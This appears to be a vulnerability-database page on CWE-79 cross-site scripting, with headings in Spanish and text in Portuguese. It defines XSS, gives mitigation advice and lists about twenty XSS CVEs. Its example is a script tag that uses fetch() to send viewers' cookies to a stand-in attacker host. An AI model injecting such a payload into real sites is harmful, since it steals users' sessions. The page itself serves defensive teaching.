Fallos del tipo CWE-79

29.814 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8664MEDIUMWP Test Email <= 1.1.7 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-55566MEDIUMYamcs: DOM XSS in Extension RoutingEPSS 0.4%CVE-2023-5121MEDIUMMigration, Backup, Staging – WPvivid <= 0.9.89 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2022-47438MEDIUMWordPress Booking calendar, Appointment Booking System Plugin <= 3.2.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-47099LOWTeleJSON < 6.0.0 DOM-based XSS via parse() FunctionEPSS 0.4%CVE-2022-43668MEDIUMTypora versions prior to 1.4.4 fails to properly neutralize JavaScript code, which may result in executing JavaScript code contained in the EPSS 0.4%CVE-2024-3790MEDIUMCross-site Scripting vulnerability in WBSAirbackEPSS 0.4%CVE-2026-87917MEDIUMMC4WP: Mailchimp for WordPress <= 4.14.0 - Reflected Cross-Site Scripting via 'data' Dynamic Content TagEPSS 0.4%CVE-2026-89081MEDIUMTutor LMS <= 4.0.8 - Reflected Cross-Site Scripting via 'back_url' and 'search' ParametersEPSS 0.4%CVE-2026-34557CRITICALCI4MS: Permissions Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.4%CVE-2026-75964MEDIUMUser Profile Builder <= 4.0.0 - Unauthenticated Stored Cross-Site Scripting via 'email' ParameterEPSS 0.4%CVE-2026-91775HIGHLimeSurvey Community Edition 7.0.14 - Reflected XSS through unescaped LSS survey-import warningsEPSS 0.4%CVE-2024-9205MEDIUMMaximum Products per User for WooCommerce <= 4.2.8 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2023-44484MEDIUMOnline Blood Donation Management System v1.0 - Stored Cross-Site Scripting (XSS)EPSS 0.4%CVE-2026-17528MEDIUMVersions of the package nice-select2 before 2.4.1 are vulnerable to Cross-site Scripting (XSS) via the <select> element. An attacker can supEPSS 0.4%CVE-2025-2213MEDIUMCastlenet CBW383G2N Wireless Menu wlanPrimaryNetwork.asp cross site scriptingEPSS 0.4%CVE-2026-34558CRITICALCI4MS: Methods Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.4%CVE-2026-13334MEDIUMMang Board WP <= 2.3.4 - Reflected Cross-Site Scripting via 'stag' ParameterEPSS 0.4%CVE-2024-3795MEDIUMCross-site Scripting vulnerability in WBSAirbackEPSS 0.4%CVE-2026-41932MEDIUMVvveb < 1.0.8.3 Stored XSS via Signup ControllerEPSS 0.4%